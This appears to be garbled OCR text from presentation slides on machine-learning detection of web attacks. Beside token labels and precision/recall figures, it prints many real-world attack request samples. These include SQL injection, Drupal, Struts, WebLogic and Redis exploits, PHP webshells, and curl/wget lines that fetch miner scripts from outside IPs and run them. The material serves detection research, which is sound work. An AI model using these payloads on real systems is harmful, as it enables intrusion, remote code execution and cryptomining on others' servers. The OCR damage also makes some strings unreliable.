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SELECT ~ FROM forum WHERE fid = 63 ORDER BY displayorder DESC LIMIT 3

DML Wildcard Keyword ldentifier Keyword Comparison Keyword Keyword Identifier Order Keyword Integer

SELECT * FROM forum WHERE fid = 55 OR SLEEP(5) - - dZkr ORDER BY displayorder DESC LIMIT 3
DI\‘/IL Wild‘card Keyword ldentifier Keyword Comparison Keyword Fun<|:tion Single
wget http://185.62.190.191/r -0 /tmp/r ; sh /tmp/r precision recall
Token 1 comr‘nand wc|)rd wc‘)rd wc|>rd ope||rator comr|nand wc‘)rd 0.042 0.904
Token 2 command word option op-data operator command word 0.029 0.963
Token 3 wget word option op-data operator sh word 0.011 0.991

Token 4 wget uri option path operator sh path 0.008 0.997
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SHEHT BT —FFF9
/index.php?name=cdxy > AAAA
/index.php?name=ringd4h > AAAADDA
/index.php?name=<script>alert(1)</script> > CAAAAAACAAAAACDCCCAAAAAAC

1302]
1200]
200]
200]
1][200]
1][200]
1][200]
17[200]

[START] https://www.cdxy.me
https://www.cdxy.me/feed
https://www.cdxy.me/?p=788
https://www.cdxy.me/category/Data%s20Analysis
https://www.cdxy.me/page/1

nttps://www.cdxy.me/page/1l.bak~
nttps://www.cdxy.me/page/1l.swp
nttps://www.cdxy.me/page/l save
https://www.cdxy.me/../../../../etc/passwd
Site: URI Pathi® & >

p=786

{{426*1752}}=786

URI Path: Key &

p=786

p=786<script>alert(l)</script>
p=786" or '1'="1

Cookie: UID=70f868e092f90218cafa12038d9a5f/2
Cookie: UID=1|curl http://x.x/shell.txt > cc.php

>

Key: Value &
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/?
g=user/passwonrd
URI &name[#type]=markup
&name[#markup]=curl+-s+185.234.218.53/.d/minerl.sh+|+bash
A &name[#post render ][ ]=passthru
\ 4
Eeyl8==)= root
iHI=E /usr/sbin/httpd

> sh -c curl -s 185.234.218.53/.d/minerl.sh | bash
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<vold class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<vold index="0"><string>C:\windows\system32\cmd.exe</string></void>
<vold index="1"><string>/c</string></void>
<void index="2"><string>powershell.exe -WindowStyle Hidden $P =
NEW-0oBJECT SYSTEM.nET.wEBCLIENT;$P.DownloadFile( 'http:
POST Data ’ ( I

132.148.150.15:8080/miner.exe’', 'C:\ProgramData\miner.exe');START C:
\ProgramData\miner.exe</string></void>

</array>

<void method="start"/></void>

</java></work:WorkContext>
</soapenv:Header><soapenv:Body/></soapenv:Envelope>
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(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil
@class)). (#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).

Request-Content-Type (#cmd="cmd /c netsh firewall set opmode mode=disable').

(#iswin=(@java.lang.System@getProperty('os.name’).toLowerCase().contains
('win'))). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash’', '-
c',#cmd})). (#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)). (#process=#p.start()).
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/wp-content/themes/sketch/404.php
a=Php&c=&pl=system("cat /etc/passwd");
D
URI&POST /eng/query-terminal.jsp?cmd=mkdir+-p+%2Froot%2F.ssh%2F+%26%26+touch+

%2Froot%2F.sshx2Fauthorized keys+%26%26+chmod+600+
%2Froot%2F .ssh%x2Fauthorized keys

/upload/template/default/forum/123.php?eanver=cmd
&cmd=d2hvYW1p

—ncoded Payload

FAEF Wi

Process Log QDL php-fpm: pool www

k2 sh -c whoami
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—————— WebKitFormBoundaryrUzmdXS72dR6ZXxE1
Content-Disposition: form-data; name="dir"

Reqguest Data
) E:/www/css/
—————— WebKitFormBoundaryrUzmdXS72dR6ZXE1
! Content-Disposition: form-data; name="upfile"; filename="amazeui.php"”

Content-Type: application/octet-stream

File Content & Path

<?php /* encoded by http://phpc.sinaapp.com */
error_reporting(E_ALL™E _NOTICE);
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File Content & Path

/phpmyadmin/import.php

sgl query=select+"<?php+\

$func="'c'.'r'.'e'.a'. "t e’ U T 'nt et e T o L Tt
$test=\$func("'\
$XI,Iel.lvl.Ial.l]-l.l(bl.lal.ISI.Iel.l6l.I4-l.I_I.Idl.Iel.lCI.I()I.ldl.le

(\$x))5 )5\
$test('QHN1c3Npb25fc3RhcnQoKTtpZihpc3N1dCgkX1BPU1RbI2NvZGUnXSkpeyhzdi]zd
HIoc2hhMShtZDUoQCRFUESTVFsnYSAdKSksMzYpPTONMjIyZicpJiYkXINFUINITO5bI3R0oZ
UNVZGUNXT10cmltKCRFUESTVFsnY29kZSddKTt9aWYoaXNzZXQoJFOTRVNTSUSOWyd@aGVDb
2R1J10pKXtAZXZhbChiYXNINjRFZGVjb2R1KCRTUOVTUOLIPT1sndGh1Q29kZSddKSk7+Q==
"Yi;+?>"+into+outfile+"D: /www/images.php";
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Reqguest Data

A

SQL Log

/index.php?action=1listletter

date=2018-06-05&letter=%25%277%20AND%206405%201IN%207%28%20%28CHAR7%28113%29
+CHAR%28118%29+CHAR%281127%29+CHAR%28113%29+CHAR%28113%29+
7%28%207%28CASE%20WHEN%207%286405%3D6405%29%20THEN%20CHAR%2849%29%20ELSE%20
CHAR%28487%297%20END%297%29+CHAR%28113%29+CHAR%28113%29+CHAR%281067%29+CHAR%
2898%29+CHAR7%28113%29%29%29%20AND%207%27%25%27%3D%27&perPage=16&status=-1
&Submit=%E6%8F%90%EA4%BA%AA

select id,type,letter,url from sl types where letter='%" AND 6405 IN

( (CHAR(113)+CHAR(118)+CHAR(112)+CHAR(113)+CHAR(113)+( (CASE WHEN
(6405=6405) THEN CHAR(49) ELSE CHAR(48) END))
+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(113))) AND '%'='"' order by
sort asc limit o,9
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/spaces/viewdefaultdecorator.action?
decoratorName=ftp://10.0.0.1

Reguest Data

/uddiexplorer/SearchPublicRegistries.jsp?
I rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSea
rchfor=&selfor=Business+location&btnSubmit=Search&ope
} } . rator=http://10.0.42.2:7001
INntranet Session
ntranet Flow
DNS
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ssh-rsa
AAAAB3NzaClyc2EAAAADAQABAAABAQDEOEUCho1Gr6s3mXjQAOwX6YKNNMy2bpj6b8ArjulWH
TCP Flow Sd4pgn4gbmb8GzAv1H2xxw+SV2h redis@redis.io
A
webshell<?php eval($ POST[xiaoma]); ?>godkey@t
\ 4
| ¥ k% x % curl -fsSL "http://r.waterdropx.com:13858/cdp.x?
File Content _— _ _ g
1p=115.28.176.14&xp_ht=5A089AF6&xp s=842768" | bash &
-rocess
Path CONFIG SET dir /var/www/html/

CONFIG SET dbfilename redis.php
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[OdayisiZF]

K 5A718):2018-04-13 20:29:27
KiFH#E:80.209.253.51

"uri": "Juse
element_parents=account/mail/%23value&ajax_form=1&_wrappe

[Odayisix]

K 5A918):2018-05-01 21:43:09
K$#:91.215.169.120

"Iws/v1/cluster/apps”,

"{\"am-container-spec\":
{\"queue\":\"1\",\"commands\":{\"command\":\"curl 193.22.96.25/z_2.sh | sh\"}},\"application-

"form_id=user_register_form&mail%5B%23type%5D=markup&mail%5B%23markup%5D=taskkill+-9+dx%3

B+cd+%2Ftmp%3B+curl+-

S+http%3A%2F%2F80.209.253.51%2FdX+%3E+%2Ftmp%2Fdx%3B+wget+http%3A%2F%2F80.209.253.5
1%2Fdx+-0+%2Ftmp%2Fdx%3B+chmod+%2Bx+%2Ftmp%2Fdx%3B+%2Ftmp%2Fdx+-
u+42J2MwguWYXVEIMthxGCzU1TPVEONAXYNgKGCnYg6NH6R]Wckg2UhbvTYRwwRaHkYQcgjncg6TnAF

B6RbMWXLroveP53jc4AMG+-p+X+-

o+monerohash.com%3A80&qg=38ce0a187d45b5583eb527c477ab2eb7&mail%5B%23post_render%5D%5

B%5D=system&_drupal_ajax=1"}
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